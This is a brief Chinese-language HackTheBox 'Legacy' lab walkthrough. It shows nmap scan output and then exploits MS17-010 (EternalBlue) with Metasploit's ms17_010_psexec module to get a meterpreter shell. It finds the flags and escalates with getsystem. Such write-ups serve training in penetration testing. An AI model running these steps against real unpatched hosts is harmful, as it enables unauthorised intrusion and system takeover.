Hackthebox：Legacy walkthrough

这个机器比较简单，其实也就是永恒之蓝ms17-010
nmap -sV -sC -p- 10.10.10.4
nmap结果

PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d01h02m53s, deviation: 1h24m50s, median: 5d00h02m53s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b2:f8 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-12-09T20:46:33+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 467.42 seconds

低版本Windows且开了445端口，所以肯定试试永恒之蓝
这里复习以下，info命令已有的可以不再设置，所以只要设置rhost

msfconsole
use windows/smb/ms17_010_psexec
set RHOSTS 10.10.10.4
run

直接弹了meterpreter ，下面这里的Windows目录路径是个坑，要注意

search -f user.txt
cd Documents\ and\ Settings \\
cd john \\
cd Desktop \\
cat user.txt 

提权，这里就用meterpreter自带的getsystem
输入getsystem
root.txt的位置是c:\Documents and Settings\Administrator\Desktop\root.txt